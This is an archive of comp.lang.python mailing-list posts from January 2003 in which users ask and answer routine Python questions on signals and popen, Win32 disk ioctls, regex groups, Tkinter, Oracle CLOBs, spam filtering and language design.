> > 1)Using python's signal module to ignore SIGINT.  This causes python
> > to ignore SIGINT, but a ctrl-c that is typed during the popen() call
> > still goes to the command.
> > 
> > 2)Adding "< /dev/null" to the os.popen() call.  This doesn't help.
> > 
> > 3)Using popen2() and immediately closing the stdin file.  This also
> > doesn't work.
> > 
> > Any suggestions would be greatly appreciated!
> 
> The problem here (which other responders failed to identify) is that
> it's the spawned program that's getting the INT signal, not the Python
> program launching it.  Signals are really independent of stdin/stdout,
> so that's why your redirection and file closing isn't helping.
> 
> Unfortunately, I don't think there's any pretty solution to your
> problem.  What you probably need to do is write a wrapper program that
> intercepts the INT signal and ignores it (presuming that's what you
> actually want to do).  This would be similar to the nohup program (which
> does something analogous, but for the HUP signal).
> 
> You can write a little script to do it, with bash, ksh, zsh, or
> varieties.  In zsh it would look like:
> 
> 	#!/bin/zsh -f
> 
> 	function TRAPINT () { }
> 
> 	"$@"
> 
> The other shells have similar mechanisms, I believe involving a trap
> builtin.
> 
> Unfortunately you're probably going to be forced to use a wrapper script
> for portability, since with os.popen (or os.system) you're not
> guaranteed which shell is going to get run, so you can't do the trapping
> inline.
> 
> Note that this won't stop other signals, such as TERM, and that nothing
> can stop KILL.
> 
> -- 
>  Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
>  __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
> /  \ War is a continuation of policy by other means.
> \__/ Karl von Clausewitz
>     CAGE / http://www.alcyone.com/pyos/cage/
>  A cellular automaton simulation system in Python.

How about using a thread?

>From the docs:

       Threads  interact strangely with interrupts: the KeyboardInterrupt
       exception  will  be  received  by  an  arbitrary thread. (When the
       signal module  is  available,  interrupts  always  go  to the main
       thread.)

So you would have something like this:

worker = newThread() 
worker.start() 
while worker.isAlive():
	try:
		worker.join() # should block here until the thread is done
	except KeyboardInterrupt:
		print "still running, hold on..."



From skip at pobox.com  Fri Jan 24 14:08:51 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Jan 2003 13:08:51 -0600
Subject: Illegal literal or not?
In-Reply-To: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
Message-ID: <15921.36675.436799.786454@montanaro.dyndns.org>

    LJ> Is it possible to have Python produce the following literal output in the
    LJ> interactive mode.
    LJ> '"Let's try this!", they said.'

>>> s = """'"Let's try this!", they said.'"""
>>> print s
'"Let's try this!", they said.'

Next question, please... ;-)

Skip




From pnagel at nagel.co.za  Mon Jan 13 15:52:28 2003
From: pnagel at nagel.co.za (Pieter Nagel)
Date: Mon, 13 Jan 2003 22:52:28 +0200
Subject: [OT] Seeking Minimal Python Project Name
In-Reply-To: <avv1pv$j59t5$1@ID-136433.news.dfncis.de>
References: <3e22b7f7@news.swissonline.ch> <avv1pv$j59t5$1@ID-136433.news.dfncis.de>
Message-ID: <3E23270C.7020703@nagel.co.za>

Alex K. Angelopoulos wrote:
> Boomslang.
> 
> I know, there's no such thing... 

There is.

http://www.sun.ac.za/forlang/snakes/boomslang.html

"Boomslang" is Afrikaans for "tree snake", although a more correct 
contextual translation would be "that South African tree snake species 
which was first named in Afrikans".[1]

Three problems with the name:

- The Boomslang is not particularly small.
- Its' favourite food is Chameleons, not Camels.
- The name has already been taken by a manufacturer of a gamers' mouse.

-- 
      ,_
      /_)              /| /
     /   i e t e r    / |/ a g e l
     http://www.nagel.co.za

[1] That would make Stephen King's "Peruvian boomslang" a very unlikely 
beast, since the Peruvians presumably would christen their treesnakes 
themselves. The South African government vociferously denies the 
existence of the controversial Peruvian Snake-Naming Experts Exchange 
Program.




From hancock at anansispaceworks.com  Fri Jan 24 20:56:01 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Sat, 25 Jan 2003 01:56:01 GMT
Subject: popen4 doesn't block?
References: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net> <mailman.1043455853.19862.python-list@python.org>
Message-ID: <R8mY9.1579$U27.146305@newsread2.prod.itd.earthlink.net>

Jp Calderone wrote:
>     o, i = os.popen4(...)
>     output = o.read()
> 
>   The call to o.read() will not return until the program's stdout has
> closed.  

Thanks -- that may well be the solution, as it seems to work (I'm running 
into another problem, which might just be a run-of-the-mill bug, but I'm 
not sure what's going on yet).

Thanks for the help,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From yaipa at yahoo.com  Fri Jan  3 00:42:30 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 2 Jan 2003 21:42:30 -0800
Subject: Python Win32 API question.
References: <6e07b825.0212311627.741bdfe5@posting.google.com> <u8yy3a5ep.fsf@fitlinxx.com>
Message-ID: <6e07b825.0301022142.6e0331b0@posting.google.com>

David,

This is great. Thanks

I have the DDK, but am new to it and sometimes where they poke things
doesn't make much sense. :(.  'winioctl.h' is the lead I need for the
Constant codes.  The code below is a great help. It is always easier to
learn new techniques when you already have something that works already.

Regards of the best kind,

Alan Haffner

David Bolen <db3l at fitlinxx.com> wrote in message news:<u8yy3a5ep.fsf at fitlinxx.com>...
> yaipa at yahoo.com (yaipa h.) writes:
> 
> > Finally, for the big points. Anyone belive that I will be able to use
> > any of the 'IOCTL_*' enumerated values from the MFC toolkit with the 
> > win32file.DeviceIoControl library method? It's looking more and more 
> > like I will need to call a COM/DLL from my Python code to get this info. :((
> 
> Yes, you should be able to make the calls you want directly from
> Python.  I agree however, that unless you have a development kit it
> may be tricky to figure out what they are, since they are not built
> into win32all.  In my case, I just reference the winioctl.h file from
> my VC installation.  If you don't have some sort of developers kit, it
> looks like other development environments like Cygwin (and probably
> MingW) include this header as part of their win32 API collection, so
> you can obtain it that way.
> 
> Using the functions themselves are as documented in MSDN -
> DeviceIoControl is part of the Win32 core platform API, not MFC.  You
> have to make sure that the buffer size you request in the
> DeviceIoControl function matches the documented structure, and then
> unpack the buffer manually based on that structure definition.  But
> all of that information is available in MSDN.
> 
> > Thanks. An example IOCTL_ follows.
> > 
> > Yaipa.h
> > 
> > 'IOCTL_DISK_GET_DRIVE_GEOMETRY' Operation
> 
> Here's some example code using this particular call (note I've
> hardcoded the IOCTL constant following interpretation of winioctl.h):
> 
>           - - - - - - - - - - - - - - - - - - - - - - - - -
> import struct
> import win32api
> import win32file
> 
> if __name__ == "__main__":
> 
>     print 'Checking disk C:'
> 
>     info = win32api.GetVolumeInformation('c:\\')
>     print 'Filesystem:', info[-1]
> 
>     hDisk = win32file.CreateFile(r'\\.\PhysicalDrive0',
>                                  0,
>                                  win32file.FILE_SHARE_READ|
>                                  win32file.FILE_SHARE_WRITE,
>                                  None,
>                                  win32file.OPEN_EXISTING,
>                                  0,
>                                  None)
> 
>     IOCTL_DISK_GET_DRIVE_GEOMETRY=0x70000
> 
>     info = win32file.DeviceIoControl(hDisk,
>                                      IOCTL_DISK_GET_DRIVE_GEOMETRY,
>                                      '',24)
> 
>     # Values = (cylinders[high],cylinders[low],media_type,
>     #           tracks_per_cylinder,sectors_per_track,bytes_per_sector)
>     values = struct.unpack('6L',info)
> 
>     cylinders = (values[1]<<32)+values[0]
>     size = cylinders * values[3] * values[4] * values[5]
> 
>     print 'Total disk space: %d (%dMB)' % (size,size/(1024*1024))
>           - - - - - - - - - - - - - - - - - - - - - - - - -
> 
> 
> --
> -- David



From peter at engcorp.com  Thu Jan  9 08:56:28 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 09 Jan 2003 08:56:28 -0500
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <3e1ca11b_4@nopics.sjc> <mailman.1042065497.31296.python-list@python.org> <3E1CAFB3.73CEA6A7@engcorp.com> <v1qvi6ddvfbu2e@corp.supernews.com>
Message-ID: <3E1D7F8C.E0BCE81F@engcorp.com>

Cameron Laird wrote:
> 
> In article <3E1CAFB3.73CEA6A7 at engcorp.com>,
> Peter Hansen  <peter at engcorp.com> wrote:
> >Chad Netzer wrote:
> >>
> >> On Wednesday 08 January 2003 14:07, Tupoi wrote:
> >>
> >> > ok to be more specific what are the best undergrad schools in the US for a
> >> > Computer Science major in general because most undergrads like me probbably
> >> > have not decided whether they will be computer programmers, network guys,
> >> > or whatever else.
> >>
> >> I see.  Well, in that case, the answer is Purdue.  Go to Purdue, that is the
> >> best undergrad school in the US for CS.
> >
> >And the University of Waterloo is the best undergrad school for CS
> >in North America.  Probably for the rest of the world, too. :-)
>                         .
>                         .
>                         .
> I'm curious about what insider jokes I'm missing.

I thought it was just Chad's deadpan delivery of an obviously
outrageous blanket statement which he knew no one would take merely
at face value.

At least, that's what I was doing in my response...

Waterloo is excellent, and no doubt Purdue is.  Cameron's 
only-slightly-more-serious :-) comments are right on the mark 
though.  This, as with many other things in life, depends
almost entirely on the individual.  Asking others for "the best"
without at least providing some idea of one's own requirements
is going to produce largely meaningless answers.

-Peter



From reageer.in at de.nieuwsgroep  Mon Jan 27 17:06:00 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Mon, 27 Jan 2003 23:06:00 +0100
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com>
Message-ID: <t1bb3vo6o7icrq7eu3i5ibuji2stf95oh6@4ax.com>

Kamilche:
>I'm looking the following example, which modifies a string, but the 
>ID doesn't change. Can anyone explain why the built-in string methods 
>don't modify the ID?
>
>>>> quest = 'what is your favorite color?'
>>>> id(quest)
>10988760
>>>> quest.capitalize()

This is an expression that produces a new string:

>'What is your favorite color?'

But in the mean time nothing has happened to quest. Neither to
it's value nor it's id.

>>>> id(quest)
>10988760

You see :-)

>>> quest = 'what is your favorite color?'
>>> id(quest)
9631048
>>> id(quest.capitalize())
9627920

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From bokr at oz.net  Thu Jan  2 06:33:04 2003
From: bokr at oz.net (Bengt Richter)
Date: 2 Jan 2003 11:33:04 GMT
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3E137008.3586A4D8@engcorp.com> <v16tkkjj3hahdd@news.supernews.com>
Message-ID: <av181g$b4e$0@216.39.172.122>

On Wed, 1 Jan 2003 18:15:49 -0500, "John Roth" <johnroth at ameritech.net> wrote:

>
>"Peter Hansen" <peter at engcorp.com> wrote in message
>news:3E137008.3586A4D8 at engcorp.com...
>> Rob Renaud wrote:
>> >
>> > <lot snipped>
>> > "John Roth" <johnroth at ameritech.net> wrote in message
>> > > Whether append() returns a *new* object or not is irrelevant to
>> > > my arguement. The fact that it returns None is the wart.
>> > >
>> > > John Roth
>> >
>> > It's consistant, not a wart from my perspective.  If an object is
>> > modified, it is not returned.
>> >
>> > For every part of the (admittedly small) python library I know, that
>> > is the case.  Returning None is a hint that the object is modified.
>
>I wasn't aware that it was a consistent policy. That doesn't mean it
>isn't, just that I wasn't aware of it if it is.
>
>> > So then the question becomes, why don't append(), sort(), reverse()
>> > return a new list and not modify the original?  Are mutable objects
>> > themselves a wart on the langauge?
>>
>> I believe the response might be that, in at least the case of sort(),
>> and probably reverse() as well, creation of a new list would require
>> twice the memory, at least temporarily, which can be very undesirable.
>
>That's what I've always heard. In the case of .sort() and .reverse() the
>performance hit (other than for storage allocation) would be neglible,
>but for
>.append() it involves copying the entire list as well as allocating
>storage.

Surely large lists would not be copied for every append? Wouldn't the
space be expanded in chunks? Even 1% extra free space for a million-item
list would give you 10k appends without reallocation and copying.

Regards,
Bengt Richter



From kevinethridge at yahoo.com  Sun Jan 12 18:50:50 2003
From: kevinethridge at yahoo.com (Kevin Ethridge)
Date: Sun, 12 Jan 2003 23:50:50 GMT
Subject: map() question...
Message-ID: <ubnU9.50476$DN6.1535465@twister.austin.rr.com>

Why doesn't map() work with the print function?
ie map(print, ['Have', 'a', 'great', 'day.'])





From lac at strakt.com  Sat Jan 25 10:41:40 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 25 Jan 2003 16:41:40 +0100
Subject: IDLE Python GUI 
In-Reply-To: Message from "Norm" <norm@norm.com> 
   of "Sat, 25 Jan 2003 09:18:56 EST." <3e32a1a6_4@corp.newsgroups.com> 
References: <3e32a1a6_4@corp.newsgroups.com> 
Message-ID: <200301251541.h0PFfejL001607@ratthing-b246.strakt.com>

> I'm really just getting started in Python with the goal of improving my
> Linux networking administration.

Welcome.

> 
> I'm learning / practicing with IDLE Python GUI.
> 
> Q.  What does the real Python community use for creating Python programs?
> 
> Thanks
> norm

Our brains :-)  (sorry couldn't resist).

If you mean 'What development environment do python users use' go paste 
this link into your browser: 

http://groups.google.com/advanced_group_search?as_ugroup=comp.lang.python
(bookmark it as well, it is very useful).

Then search for the exact phrase 'best IDE'.  or 'development environment'
or  'best editor'.

Make a pot of tea, and toast, and get ready for a very long read.

Welcome once again.
Laura Creighton




From martin at v.loewis.de  Thu Jan 16 09:50:40 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 15:50:40 +0100
Subject: unicode positions of characters
References: <3E26B008.4F281CD@gol.ge> <3E26C6EB.8C916E34@gol.ge>
Message-ID: <m3u1g92lof.fsf@mira.informatik.hu-berlin.de>

Giorgi Lekishvili <gleki at gol.ge> writes:

> I guess, I have found a correct stuff:
> hex_codec.py in encodings

Notice that this only works for byte strings, not Unicode strings, see

http://www.python.org/dev/doc/devel/lib/node123.html

Regards,
Martin



From sholden at holdenweb.com  Sat Jan 18 10:40:38 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sat, 18 Jan 2003 15:40:38 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com>
Message-ID: <WzeW9.5318$bs2.4078@news2.central.cox.net>

"Afanasiy" <abelikov72 at hotmail.com> wrote in message
news:bsoi2v4rokh97unbdnfa9pndd8cctjd6ru at 4ax.com...
> On 18 Jan 2003 12:55:08 +0100, martin at v.loewis.de (Martin v. L?wis)
> wrote:
>
> >Afanasiy <abelikov72 at hotmail.com> writes:
> >
> >> How is it expected I create overloaded methods/functions in the C API?
> >
> >This is not possible. Overloading of methods is not supported in Python.
>
> Is method/function overloading common in Python modules?
> Is it looked down upon?

Well, it isn't like anybody said "We'll leave out method and function
overloading, and that will fix those *@#$! [language of your choice]
devotees". More that it simply isn't a part of the language design.

Python's signature-based polymorphism doesn't allow for multiple signatures
to be associated with the same method or function. Consequently if you want
to perform different functionsa ccording to the arguments provided, you have
to do the decoding yourself as a part of the logic of your method/function.

Personally I think this is good, and fits well with Python's general
"explicit is better than implicit" philosophy (though where that leaves
properties is another question, currently being discussed on a thread not
far from here).

Of course, many of Python's operators are tied to methods "under the hood",
so you can get operator overloading in the same way for many operators.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From orutherfurd at alloy.com  Fri Jan 10 09:47:34 2003
From: orutherfurd at alloy.com (Oliver Rutherfurd)
Date: Fri, 10 Jan 2003 09:47:34 -0500
Subject: Python Based Bug Database?
Message-ID: <EKEHKGFBMCNNCCONFDKJMEIGCBAA.orutherfurd@alloy.com>

"Charles Medcoff" <cmedcoff at comcast.net> wrote in message
news:fd065f64.0301100637.483c0b19 at posting.google.com...

> Is anyone aware of a free or open-source, web based bug tracking
> system based on python?

Hi,

Round up is a great web based bug/issue tracking system
written in Python. It can be found here:

http://roundup.sourceforge.net/

-Ollie
http://www.rutherfurd.net/





From phr-n2002b at NOSPAMnightsong.com  Tue Jan 14 12:18:11 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 14 Jan 2003 09:18:11 -0800
Subject: OT: spam filtering idea
References: <mailman.1042490665.8620.python-list@python.org> <b0138l$5t1$1@verence.demon.co.uk> <mailman.1042560986.4792.python-list@python.org>
Message-ID: <7xznq3ps4s.fsf@ruckus.brouhaha.com>

Skip Montanaro <skip at pobox.com> writes:
> Spambayes already looks at URLs.  Minimalist url-containing spam such as you
> mention tends to wind up "unsure" until I train on it.  Recent case in
> point, lots of spam coming from "big at boss.com".  Your message had nearly 20
> url:* tokens in it according to Spambayes tokenizer (sorted here from hammy
> to spammy):

Does spambayes look at the charset?  I get tons of spam in korean
characters.  Anything with charset="euc-kr" or "ks_c_5601-1987" etc.
is just about certainly spam.

Spambayes is already working better than spamassassin?  Wow.  I guess
I'll look into switching.  It's seemed to me up til now that it really
takes a mixture of dynamic (Bayesian) and hand-coded (SA) filtering
I've heard the next version of SA will incorporate Bayesian filtering
in addition to what it already does.



From 6e6op at excite.it  Wed Jan  8 13:19:58 2003
From: 6e6op at excite.it (6e6op)
Date: Wed, 8 Jan 2003 19:19:58 +0100
Subject: a strange question in it.comp.lang...
Message-ID: <avhrot$sbh$1@lacerta.tiscalinet.it>

this is (more or less) the translation

From: "Matteo Bertini" <m.bertini at tin.it>
Newsgroups: it.comp.lang
Sent: Sunday, January 05, 2003 11:26 PM
Subject: [PYTHON] estendere tipi di base


> I can build a class in this way:
>
> class mystring(str):
>      def is_email(self):
>          return self.find("@")
>
> use it in:
>
> mystring("pippo at pippo.it").is_email()
>
> the answer is, can i define mystring to be the default string class?
> can i ''validate''  "pippo".is_email() ?
> maybe is not goot, but is only curiosity.
>
> thanks,
> Matteo

ok, then one answer jump in my brain:
there's a "place" where the interpreter load the __builtins__  package?
obviously __builtins__.str cannot be substitute with a customized one after
the __builtins__ load ,
but before load?
if the interpreter load __builtins__ in some place i can translate
__builtins__.str
with a __builtins__.mystr before that interpreter load __builtins__

is it possible?

Thanks a lot!







From Vector180W at netscape.net  Tue Jan 28 22:41:28 2003
From: Vector180W at netscape.net (vector180)
Date: Wed, 29 Jan 2003 14:41:28 +1100
Subject: TK entry pretext
Message-ID: <3E374D68.4010906@netscape.net>

HI
Status=ActivePython,xp,newbie

Im having trouble with the Entry code in TK
<snip>
self.e_fanon=Entry(frame,width=5)
self.e_fanon.grid(row=l_row,column=1,sticky=W)
<endsnip>
Q1 can I put some pre text in the entry box?. How?
Q2 how do I know when/if to get the users entry?
		does Python/tk set a flag.
Im trying to achieve a simple GUI(within a frame of other buttons etc) 
entry box, that i can shove some pre text in(default) but allow a user 
to modify.
ta




From ericm-NOSPAM at vertical.com  Tue Jan  7 15:21:57 2003
From: ericm-NOSPAM at vertical.com (Eric McDaniel)
Date: Tue, 07 Jan 2003 20:21:57 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net> <eYFS9.18484$xb.14542@nwrddc02.gnilink.net>
Message-ID: <Xns92FC7DE6999C1ooheehoohahah@207.225.159.6>

Hey, you think that's depressing? Try being an Intercal programmer.


Carl Banks <imbosol at vt.edu> wrote in
news:eYFS9.18484$xb.14542 at nwrddc02.gnilink.net: 

> Robert Oschler wrote:
>> I can't look at dice.com anymore, too depressing.  Some appx stats:
>> 
>> Date    C++ jobs    Java jobs
>> 
>> 3/2000    42000    31000
>> 10/2003    2200    2800
>> 



From mis6 at pitt.edu  Sun Jan 12 12:34:24 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 12 Jan 2003 09:34:24 -0800
Subject: The Python 2.3 Method Resolution Order
References: <2259b0e2.0301101453.101e81bf@posting.google.com>
Message-ID: <2259b0e2.0301120934.78db1cf7@posting.google.com>

mis6 at pitt.edu (Michele Simionato) wrote in message news:<2259b0e2.0301101453.101e81bf at posting.google.com>...

> I thought it was useful to write down few examples to teach how the C3 
> linearization works. They can be found on
> 
>   http://www.phyast.pitt.edu/~micheles/python.html
> 
> I welcome comments and observations.

I have improved that paper, adding a section on local precedence ordering.
Thanks to people who gave me feedback !

              Michele



From Kyler at news.Lairds.org  Thu Jan  9 16:25:57 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Thu, 09 Jan 2003 21:25:57 GMT
Subject: How do I get to *all* of the groups of an re search?
Message-ID: <sl51f-6dj.ln1@news.lairds.org>

	http://www.python.org/doc/current/lib/re-syntax.html
	(...)
	    Matches whatever regular expression is inside the
	    parentheses, and indicates the start and end of a 
	    group; the contents of a group can be retrieved
	    after a match has been performed, [...]

Sounds good, so I tried it.

	import re

	text = 'foo foo1 foo2 bar bar1 bar2 bar3'

	test_re = re.compile('([a-z]+)( \\1[0-9]+)+')

	print test_re.findall(text)

I expected the matches to be something like
	[('foo', [' foo1', ' foo2']), ('bar', [' bar1', ' bar2', ' bar3'])]
but it's just this.
	[('foo', ' foo2'), ('bar', ' bar3')]

How do I get to the other groups that were matched?  (Is this
an FAQ?  I don't know where to start looking.)

Thank you.

--kyler



From akjmicro at yahoo.com  Fri Jan 24 19:43:05 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Fri, 24 Jan 2003 18:43:05 -0600
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <v339gg9p1rlb3e@news.supernews.com> <b0sbn3$rk3$1@bob.news.rcn.net> <3E31BACB.EA3D8CDA@engcorp.com>
Message-ID: <b0smsl$ti$2@bob.news.rcn.net>

In message <3E31BACB.EA3D8CDA at engcorp.com>, Peter Hansen wrote:
> "Aaron K. Johnson" wrote:
> > 
> > In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
> > >
> > > I don't understand. Number of unique posters in the last 200 posts to a
> > > newsgroup I understand,
> > > and 647 to the (one) Python newsgroup I understand, but I don't
> > > understand how you get
> > > 647 different posters out of the last 200 posts.
> > >
> > > Oh, and Clipper is an old data base language, somewhere in the dbase
> > > family.
> > 
> > oops, sorry....I meant 2000!
> 
> So, among other problems, this means if a given newsgroup had a single
> large thread with a half-dozen regulars posting ten times each in a
> big argument, that particular language would appear less popular...
> 
> -Peter

Peter,

Each poster is counted only once.

-Aaron.




From mhammond at skippinet.com.au  Thu Jan 23 06:50:50 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Thu, 23 Jan 2003 11:50:50 GMT
Subject: regression bug in pywintypes SECURITY_ATTRIBUTES? reference counting?
In-Reply-To: <xfqX9.39793$Ui4.1380977@news1.telusplanet.net>
References: <xfqX9.39793$Ui4.1380977@news1.telusplanet.net>
Message-ID: <3E2FD70C.9090008@skippinet.com.au>

Dale Nagata wrote:
> I've migrated some code from Python 1.5.2 to 2.2.2 with win32all-148, most
> works just fine.
> 
> One thing that I can't quite figure out is why code exactly like in
> ...\python\Lib\site-packages\win32\demos\service\pipeTestService.py
> 
> now gives me the following error when before it worked fine in 1.5.2:
> 
> pywintypes.error: (1336, 'CreateEvent', 'The access control list (ACL)
> structure
>  is invalid.')
> 
> the code looks something like:
> 
> def MySecurityAttributes():
>     sa = pywintypes.SECURITY_ATTRIBUTES()
> 
>     sidEveryone = pywintypes.SID()
>     sidEveryone.Initialize(SECURITY_WORLD_SID_AUTHORITY, 1)
>     sidEveryone.SetSubAuthority(0, SECURITY_WORLD_RID)
> 
>     sidCreator = pywintypes.SID()
>     sidCreator.Initialize(SECURITY_CREATOR_SID_AUTHORITY, 1)
>     sidCreator.SetSubAuthority(0, SECURITY_CREATOR_OWNER_RID)
> 
>     acl = pywintypes.ACL()
>     acl.AddAccessAllowedAce(GENERIC_READ|GENERIC_WRITE, sidEveryone)
>     acl.AddAccessAllowedAce(FILE_ALL_ACCESS, sidCreator)
> 
>     sa.SetSecurityDescriptorDacl( True, acl, False ) # bDaclPresent ...
> bDaclDefaulted
> 
>     sa.bInheritHandle = False
>     return sa
> 
> def test():
>     sa = MySecurityAttributes()
>     hEvent = win32event.CreateEvent( sa, True, False, None ) # raises
> win32api.error 1336???
> 
> If I move the code from the body of MySecurityAttributes() inline into
> test(), then it works!
> So that sounds to me like there's some kind of reference counting problem in
> the C code.
> I've checked out the code from CVS and rebuilt PyWinTypes23.dll with debug
> and
> set breakpoints, but as far as I can tell, all looks fine upon leaving
> PySECURITY_ATTRIBUTES::SetSecurityDescriptorDacl,
> so that suggests that some part of it gets garbage collected by the time
> it reaches win32event.SetEvent, which I haven't yet started debugging.
> 
> Can anybody with more reference counting experience see where the
> dangling pointer is happening?
> 
> thanks in advance,

Damn - yes, I see this too :(  I will check it out over the next few 
days.  Feel free to nag ;)

Mark.




From gumuz at looze.net  Mon Jan 20 04:42:49 2003
From: gumuz at looze.net (Gumuz)
Date: Mon, 20 Jan 2003 10:42:49 +0100
Subject: Seeking Ultralight p2p app
References: <mailman.1043010156.7926.python-list@python.org>
Message-ID: <3e2bc4fe$0$809$4d4ebb8e@news.nl.uu.net>

i can make you one...it's python, anyone can :)


"David LeBlanc" <whisper at oz.net> wrote in message
news:mailman.1043010156.7926.python-list at python.org...
> I've lost track of an app and can't seem to find it anywhere (VoP, yahoo,
> SF). TBMR, it had a simple tkinter GUI chat interface and one communicated
> to another user (users - like irc?) by entering their IP address(es). It
> might have been a book sample or a technology demonstrator and not a
> supported app.
>
> Any help appreciated...
>
> TIA
>
> David LeBlanc
> Seattle, WA USA
>
>





From skip at pobox.com  Thu Jan  2 11:18:57 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Jan 2003 10:18:57 -0600
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
In-Reply-To: <av1o0i$h7e$1@panix2.panix.com>
References: <3e145e67_1@goliath.newsgroups.com>
        <av1o0i$h7e$1@panix2.panix.com>
Message-ID: <15892.26225.692681.819241@montanaro.dyndns.org>

    Roy> I know what XP is, but what are PSP, SEI, TDD, and SAPDB?

TDD is Test-Driven Development I believe.  SAPDB Is probably SAP database.
The only names I associate with PSP and SEI are Python Server Pages and
Software Engineering Institute, respectively, but I'm not confident they are
what Brad was referring to.

-- 
Skip Montanaro - skip at pobox.com
http://www.musi-cal.com/
http://www.mojam.com/




From stephenriek at yahoo.co.uk  Fri Jan 31 23:27:44 2003
From: stephenriek at yahoo.co.uk (Stephen Riek)
Date: 31 Jan 2003 20:27:44 -0800
Subject: reading CLOBs with DCOracle2 gives empty string
Message-ID: <ddc0284c.0301312027.6541b959@posting.google.com>

Using DCOracle2 module, I can connect to my Oracle database and
can select a row which contains a CLOB. However, when I try to 
read() from the LobLocator, I always receive an empty string.

>>> import DCOracle2
>>> db = DCOracle2.connect("system/manager at testdb_192.168.0.4")
>>> c = db.cursor()
>>> c.execute("select * from cms_contents where content_id = 85")
1
>>> r = c.fetchone()
>>> r
[85.0, 85.0, 'Test title', <LobLocator object at 00E08628>,
OracleDate("2000-07-18 00:00:00")]
>>> lob = r[3]
>>> lob
<LobLocator object at 00E08628>
>>> lob.length()
584
>>> lob.read()
>>>

The above occured with the DCOracle2 package available from the
Zope.org site. I even got the latest CVS versions (rev1.98 of 
DCOracle2.py and the latest .pyd binary for Windows & Python2.1)
but it still doesn't work. 

Am I doing something wrong or is this a bug with the module ?

Thank you,

Stephen.



From tebeka at cs.bgu.ac.il  Wed Jan 22 04:09:01 2003
From: tebeka at cs.bgu.ac.il (Miki Tebeka)
Date: 22 Jan 2003 01:09:01 -0800
Subject: Help: More speedup needed
Message-ID: <33803989.0301220109.232a00d8@posting.google.com>

Hello All,

I'm writing an M.Sc. thesis in NLP. My goal is to implement Eric Brill's
unsupervised algorithm for Hebrew (see http://www.cs.bgu.ac.il/~tebeka) 
for more details.

However on a very small set of data my application runs very slow. I did
my best to improve the speed (minimal data types, psyco ...) but it is still too
slow.

If you have the time and can't find something more interesting to do, grab
http://www.cs.bgu.ac.il/~tebeka/University/tpost.tar.bz2 and try to help me.

Read the HELP.ME file for more details.

TIA.

Miki



From max at alcyone.com  Thu Jan 30 23:19:49 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 20:19:49 -0800
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <3E3946D0.11555AE6@engcorp.com> <k9ii3vksqnqk84sui2a312r2239c5fjpd2@4ax.com>
Message-ID: <3E39F965.935D59EC@alcyone.com>

Dale Strickland-Clark wrote:

> Except it doesn't work :-)

For "doesn't work," you mean "didn't do what I expected it to do for my
own purposes but never indicated to the audience I'm posing the question
to, so they couldn't possibly know."  Python emphasizes interfaces more
than types; a string _is_ a sequence (in that it presents a sequence
interface to its users), so if you pass it to a function that expects a
sequence, it should treat it as a sequence.

As I mentioned in an earlier post, I think the problem here is that
you're trying too hard to implement type-based dispatched in a dynamic
language.  That generally isn't a good idea (though there's some cases
where it's appropriate), because of the very nature of dynamic languages
-- you should be concentrating not on the _types_ of the objects, but
their behavior.

Wouldn't it be more appropriate to have _two_ functions, one which takes
a sequence, and one which takes a single object (and possibly simply
wraps it in a one-element list and passes it to the sequence-taking
function)?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The great artist is the simplifier.
\__/ Henri Amiel
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From brian at sweetapp.com  Wed Jan  8 00:16:04 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 07 Jan 2003 21:16:04 -0800
Subject: Python vs .Net
In-Reply-To: <v1nb9ofbeg0g12@corp.supernews.com>
Message-ID: <011b01c2b6d5$0b1dd930$21795418@dell1700>

> I'm not always so good with the proper terminology, but it seems that
> what your talking about here (and what most folks also seem to be
> touting as the flexibility & advantage of dynamic typing) is
> overloading.  While I agree that overloading is a good thing, I'm not
> sure what this example really shows.  After all, the "+" operator is
